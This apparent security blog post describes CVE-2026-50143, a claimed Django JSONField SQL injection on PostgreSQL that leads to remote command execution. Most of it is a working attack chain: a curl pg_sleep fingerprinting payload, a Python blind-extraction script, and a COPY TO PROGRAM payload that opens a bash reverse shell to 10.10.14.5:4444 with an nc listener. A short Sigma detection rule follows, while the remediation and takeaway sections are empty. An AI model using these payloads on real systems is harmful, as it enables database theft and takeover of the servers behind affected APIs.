All posts

CVE-2026-50143: Django JSONField SQL Injection to PostgreSQL RCE

The Django ORM's JSONField __contains lookup builds PostgreSQL JSON key-path expressions by string-interpolating attacker-controlled dictionary keys directly into the query without parameterisation. SQL injection into PostgreSQL's COPY TO PROGRAM command achieves OS command execution as the postgres process user. Any Django REST Framework endpoint that exposes JSONField filter parameters to unauthenticated or low-privilege callers is directly exploitable — a pattern common in read-only public API endpoints.


Overview

CVE-2026-50143 affects Django 4.2.x through 4.2.21 and 5.0.x through 5.0.9. The vulnerability is in django/db/models/fields/json.py's KeyTransformIsNull and HasKey lookups, which are invoked when a queryset filter uses __contains, __has_key, or nested key traversal (metadata__role__contains) on a JSONField. The lookup builds the PostgreSQL JSON path operator expression using Python string formatting instead of the ORM's parameterised query interface.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Exploitation requires the application to expose a filterable JSONField to attacker-controlled input — common in Django REST Framework list endpoints with filterset_fields or search_fields including a JSONField.

Root Cause Analysis

The vulnerable code path builds the JSON key access expression for PostgreSQL using the ->> operator. When the filter key contains a nested traversal (e.g., metadata__config__key), each path component is joined into the operator chain. The key names are taken directly from the lookup input without sanitisation:

# django/db/models/fields/json.py — Django 4.2.x through 5.0.9 (simplified)
class KeyTransform(Transform):
    def as_postgresql(self, compiler, connection):
        lhs, params = compiler.compile(self.lhs)
        key_name = self.key_name   # ← attacker-controlled, not parameterised
        # Builds: lhs->'key_name' or lhs->>'key_name'
        return f"({lhs} -> '{key_name}')", params   # ← raw string interpolation

A filter like ?metadata__contains={"role': 'admin'): 1; COPY (SELECT '') TO PROGRAM 'id'-- -": true} causes the JSON key name containing a SQL injection payload to be interpolated directly into the query string, breaking out of the 'key_name' context.

Exploitation

Identifying Vulnerable Endpoints

Django REST Framework's DjangoFilterBackend transparently translates query string parameters into ORM filter lookups. Any endpoint with filter_backends = [DjangoFilterBackend] and a JSONField in filterset_fields is potentially vulnerable:

# Fingerprint — inject a time-delay payload to confirm blind SQLi
# A 5-second sleep confirms injection without triggering errors:
curl -s "https://api.example.com/v1/users/?metadata__contains=%7B%22a%27%3B+SELECT+pg_sleep(5)--+-%22%3A+1%7D" -w "Time: %{time_total}s\n"
# Time: 5.042s  ← 5-second delay confirms blind SQL injection

Enumerating PostgreSQL Version and User

#!/usr/bin/env python3
"""CVE-2026-50143 — Django JSONField SQLi PoC. Authorised testing only."""
import requests, time, string

TARGET  = "https://api.example.com/v1/users/"
PARAM   = "metadata__contains"

def inject(payload):
    """Returns True if the injected condition is true (time-based)."""
    encoded = payload.replace("'", "%27")
    url = f"{TARGET}?{PARAM}={{%22{encoded}%22:1}}"
    t0 = time.time()
    requests.get(url, timeout=15)
    return (time.time() - t0) > 3.5

# Extract current_user() one character at a time
known = ''
for pos in range(1, 20):
    for c in string.ascii_lowercase + string.digits + '_':
        if inject(f"x'; SELECT CASE WHEN SUBSTR(current_user,{pos},1)='{c}' THEN pg_sleep(4) ELSE pg_sleep(0) END-- -"):
            known += c
            print(f"[+] current_user: {known}", end='\r')
            break

print(f"\n[+] Final: {known}")

COPY TO PROGRAM for OS Command Execution

PostgreSQL's COPY TO PROGRAM command runs an OS shell command as the postgres OS user. The injection is delivered as the JSON key name, breaking out of the string literal context:

# The injected key name (URL-decoded for readability):
# x'; COPY (SELECT 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1') TO PROGRAM 'bash'-- -

# URL-encoded and delivered:
PAYLOAD="x'; COPY (SELECT 'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261') TO PROGRAM 'bash'-- -"
PAYLOAD_ENC=$(python3 -c "import urllib.parse; print(urllib.parse.quote('{\"'+\"$PAYLOAD\"+'\":1}'))")

# Start listener
nc -lvnp 4444 &

curl -s "https://api.example.com/v1/users/?metadata__contains=${PAYLOAD_ENC}"

# Callback:
# postgres@db-server:~$ id
# uid=999(postgres) gid=999(postgres) groups=999(postgres)

Affected Versions

Remediation

Detection

title: CVE-2026-50143 Django JSONField SQL Injection Attempt
id: 2a7f3c88-1b49-4e8c-a012-9f4e8b7c3d11
status: experimental
description: Detects SQLi payloads in Django REST Framework JSONField filter parameters
logsource:
  product: webserver
  service: access
detection:
  selection:
    request_query|contains|any:
      - 'pg_sleep'
      - 'COPY+TO+PROGRAM'
      - 'PROGRAM+%27'
      - '__contains=%7B'
  condition: selection
falsepositives:
  - Security scanner traffic against test environments
level: high
tags:
  - cve.2026-50143
  - attack.initial_access
  - attack.t1190

Key Takeaways